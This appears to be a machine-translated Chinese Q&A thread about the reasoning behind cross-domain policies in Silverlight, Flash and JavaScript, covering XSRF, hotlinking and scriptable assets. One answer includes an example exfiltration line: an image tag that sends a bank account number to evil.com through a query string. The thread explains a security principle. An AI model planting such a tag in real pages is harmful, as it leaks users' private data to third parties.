2009-09-20 63 views
-2

稍微模糊的问题:Silverlight和Flash和JavaScript跨域政策

这个问题从尝试使用消耗MediaStreamSource的作为MediaElement的源在Silverlight非ASF流茎。跨域问题在这里证明是非常令人沮丧的。

网络上不允许域之间的通信。

如果我理解正确,说恶意网站/嵌入对象A可以发送请求到安全站点B与用户恰好登录到的用户,auth cookie发送,然后坏事正在进行。

在Flash/Silverlight中,主机(例如B)上的跨域策略文件允许或禁止来自其他域的通信,但情况有所改善,但在尝试解析来自其他域的媒体流时仍然受到限制。

难道更好的解决办法是禁止从A-> B发送cookie,而不是禁止所有的通信?

我错过了什么?当前的跨域规则/实现背后还有哪些其他原则?

回答

1

跨域策略背后的推理不仅仅是cookies /会话本身在Web内容仅仅是“哑巴”的HTML和图像的时代,如果B站点展示了一个从图像加载的页面,那么就没有真正的安全问题网站A.如果有一个非安全问题(如想防止hotli由于IP原因),服务网站可能需要会话等。但是,现在Web资产包含Flash,SilverLight,JS,iFrames和二进制流(可能是任何东西)等可编写脚本的内容,但如果这些资产在从另一个站点的页面中显示时仍然可通过脚本访问,那么安全风险是可能的。

因此,跨域策略基本上反映了让用户期望网站通过手动阻止对活动资产的访问来“退出”这种风险是不合理的(这些方式他们必须做,如果他们想阻止热链接的图像或要求某个页面的会话)。这种负担反过来默认为更安全的情况,因此服务网站必须“选择加入”这种风险,具体选择跨域提供哪些资产以及使其可用。

1

滥用身份验证Cookie(XSRF,某些XSS方案)只是问题的一部分。通过查询字符串将信息从“好”站点发送到“恶意”站点也很容易(例如,从银行页面抓取一些数据并将其发送到evil.com,包括<image src="http://evil.com/1px.gif?bankaccount=1122334455"/>

阻止Cookie可能会限制访问来自一个不错的网站,但你也必须警惕脚本注入或其他攻击暴露可信站点中的数据,然后可能会传输到一个不好的网站,并且不需要cookie的情况下